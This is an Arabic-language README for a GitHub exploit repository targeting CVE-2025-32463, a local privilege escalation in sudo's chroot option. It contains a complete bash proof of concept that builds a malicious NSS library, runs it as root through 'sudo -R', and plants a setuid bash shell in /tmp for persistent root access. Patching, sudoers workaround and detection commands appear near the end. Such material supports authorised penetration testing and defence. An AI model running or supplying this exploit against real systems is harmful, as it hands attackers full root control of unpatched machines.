CVE-2025-32463 - استغلال تصعيد الامتيازات عبر chroot في Sudo

نظرة عامة

CVE-2025-32463 هي ثغرة حرجة لتصعيد الامتيازات المحلية في إصدارات sudo من 1.9.14 إلى 1.9.17. تسمح هذه الثغرة للمهاجمين الذين لديهم امتيازات sudo بتصعيد الوصول إلى صلاحيات الجذر عن طريق استغلال عيب في تصميم منطق معالجة خيار chroot.

تفاصيل الثغرة

• CVE ID: CVE-2025-32463
• الإصدارات المتأثرة: sudo 1.9.14 - 1.9.17
• نوع الثغرة: تصعيد امتيازات محلي (LPE)
• الخطورة: حرجة
• الإصدار المصحح: sudo 1.9.17p1 وما بعده

الوصف الفني

تحدث الثغرة بسبب مشكلة توقيت في عملية التحقق الأمني لـ sudo. يتم تنفيذ وظيفة pivot_root قبل التحقق من سياسة الأمان، مما يسمح للمهاجمين بالتلاعب ببيئة نظام الملفات التي يستخدمها sudo للمصادقة والترخيص.

تدفق الهجوم

1. التلاعب بالبيئة: يقوم المهاجم بإنشاء بيئة chroot مسيطر عليها مع ملف nsswitch.conf خبيث
2. حقن المكتبة: يتم وضع مكتبة NSS خبيثة في البيئة المسيطر عليها
3. تصعيد الامتيازات: يقوم sudo بتحميل وتنفيذ المكتبة الخبيثة بصلاحيات الجذر
4. الوصول إلى الجذر: يحصل المهاجم على وصول كامل لقشرة الجذر

الوظائف المتأثرة

• pivot_root: يتم تنفيذها في وقت مبكر جدًا من العملية
• set_cmnd_path: تعمل في البيئة التي تم التلاعب بها
• command_matches: يتم تجاوز الفحوصات الأمنية بسبب التلاعب بالبيئة

المتطلبات الأساسية

قبل استخدام هذا الاستغلال، تأكد من استيفاء الشروط التالية:

• النظام المستهدف يعمل بإصدار sudo 1.9.14 - 1.9.17
• المستخدم الحالي لديه امتيازات sudo
• تكوين sudoers يسمح بعمليات chroot
• مترجم gcc متاح على النظام المستهدف
• صلاحية الكتابة إلى الدلائل المؤقتة (مثل /tmp)

الاستخدام

البدء السريع

1. استنساخ هذا المستودع:

git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463

2. جعل البرنامج النصي قابلًا للتنفيذ:

chmod +x cve-2025-32463.sh

3. تشغيل الاستغلال:

./cve-2025-32463.sh

التحقق اليدوي

تحقق مما إذا كان النظام المستهدف معرضًا للخطر:

# Check sudo version
sudo --version

# Check sudo privileges
sudo -l

# Look for chroot-related permissions
sudo -l | grep chroot

كود الاستغلال

البرنامج النصي الرئيسي للاستغلال (cve-2025-32463.sh):

#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c

echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest

# Cleanup
rm -rf ${STAGE?}

التحقق

بعد الاستغلال الناجح، تحقق من وصول الجذر:

# Check current privileges
whoami

# Check proof file
cat /tmp/pwned_proof.txt

# Use setuid bash for persistent root access
/tmp/rootbash -p

التخفيف

إجراءات فورية

1. تحديث sudo إلى الإصدار 1.9.17p1 أو أحدث:

   root@kitploit:~

   # Ubuntu/Debian
   sudo apt update && sudo apt upgrade sudo
   
   # CentOS/RHEL
   sudo yum update sudo
   
   # or
   sudo dnf update sudo
   

2. إزالة توجيهات chroot من sudoers (حل مؤقت):

   root@kitploit:~

   # Backup current configuration
   sudo cp /etc/sudoers /etc/sudoers.backup
   
   # Remove chroot-related entries
   sudo sed -i '/chroot/d' /etc/sudoers
   
   # Verify syntax
   sudo visudo -c
   

الكشف

مراقبة محاولات الاستغلال:

# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d

# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo

# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f

التفاصيل التقنية

تحليل السبب الجذري

تنشأ الثغرة من عيب في تصميم تدفق تنفيذ sudo:

1. التدفق الطبيعي المتوقع:

   • تحليل إدخال المستخدم
   • التحقق من سياسة sudoers
   • إعداد البيئة (بما في ذلك chroot)
   • تنفيذ الأمر

2. التدفق الضعيف الفعلي:

   • تحليل إدخال المستخدم
   • تنفيذ chroot (pivot_root) - تحدث المشكلة هنا
   • التحقق من سياسة sudoers (في بيئة تم التلاعب بها)
   • تنفيذ الأمر

استغلال مكتبة NSS

يستغل الاستغلال نظام تبديل خدمة الأسماء (NSS):

1. يقرأ sudo ملف /etc/nsswitch.conf لمصادقة المستخدم
2. في بيئة chroot، يتحكم المهاجم في هذا الملف
3. يتم تحميل مكتبة NSS الخبيثة بصلاحيات الجذر
4. يقوم مُنشئ المكتبة بتنفيذ كود عشوائي كجذر

بيئة الاختبار

تم اختبار هذا الاستغلال على:

• Ubuntu 20.04/22.04 with sudo 1.9.15
• Debian 11/12 with sudo 1.9.14-1.9.17
• CentOS 8/9 مع إصدارات sudo المتأثرة
• حاويات Docker مع تثبيتات sudo ضعيفة

المراجع

• إعلان أمان sudo الرسمي
• البحث الأصلي بواسطة Rich Mirch
• تحليل شفرة مصدر Sudo

إخلاء المسؤولية

⚠️ إخلاء مسؤولية مهم ⚠️

هذه الأداة مقدمة لأغراض تعليمية واختبارية مصرح بها فقط.

• استخدم فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
• الاستخدام غير المصرح به لهذا الاستغلال غير قانوني وغير أخلاقي
• المؤلفون غير مسؤولين عن أي سوء استخدام أو ضرر
• تأكد دائمًا من الحصول على التفويض المناسب قبل إجراء اختبار أمني

المساهمة

المساهمات مرحب بها! يرجى:

1. انسخ (Fork) المستودع
2. أنشئ فرع ميزة
3. قدم طلب سحب (Pull Request) مع وصف مفصل

الترخيص

هذا المشروع مرخص بموجب رخصة MIT - انظر ملف LICENSE للتفاصيل.

سجل التغييرات

v1.0.0

• الإصدار الأولي
• وظيفة استغلال أساسية
• توثيق شامل

ملاحظة: تؤثر هذه الثغرة على مكون نظام حاسم. يرجى الاستخدام بمسؤولية والتأكد من أن جميع الاختبارات مصرح بها.